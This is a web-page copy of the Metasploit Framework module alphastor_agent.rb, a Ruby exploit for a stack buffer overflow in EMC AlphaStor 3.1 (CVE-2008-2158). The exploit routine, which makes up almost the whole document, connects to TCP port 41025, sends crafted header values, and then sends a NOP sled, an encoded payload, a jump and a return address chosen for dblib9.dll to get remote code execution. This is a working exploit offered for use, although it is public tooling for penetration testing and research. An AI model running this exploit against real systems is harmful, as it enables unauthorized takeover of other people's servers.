Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/emc/alphastor_agent.rb
19813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'EMC AlphaStor Agent Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in EMC AlphaStor 3.1.
18
By sending a specially crafted message, an attacker may
19
be able to execute arbitrary code.
20
},
21
'Author' => 'MC',
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2008-2158' ],
25
[ 'OSVDB', '45714' ],
26
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],
27
],
28
'DefaultOptions' => {
29
'EXITFUNC' => 'process', # one-shot overwrite.
30
},
31
'Payload' => {
32
'Space' => 750,
33
'BadChars' => "\x00\x0a\x0d\x20",
34
'StackAdjustment' => -3500,
35
},
36
'Platform' => 'win',
37
'Targets' => [
38
[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975
39
],
40
'Privileged' => true,
41
'DisclosureDate' => '2008-05-27',
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options([Opt::RPORT(41025)])
52
end
53
54
def exploit
55
connect
56
57
# overwrite via: ascli.exe asopmsg "long_buff"
58
uno = [0x0000000b].pack('V')
59
sock.put(uno)
60
61
dos = rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"
62
sock.put(dos)
63
64
tres = [0x00000004].pack('V')
65
sock.put(tres)
66
67
quatro = [0x0000001b].pack('V')
68
sock.put(quatro)
69
70
cinco = [0x0000047c].pack('V')
71
sock.put(cinco)
72
73
data = make_nops(827 - payload.encoded.length) + payload.encoded
74
data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
75
data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"
76
77
print_status("Trying target #{target.name}...")
78
sock.put(data)
79
80
handler
81
disconnect
82
end
83
end
84
85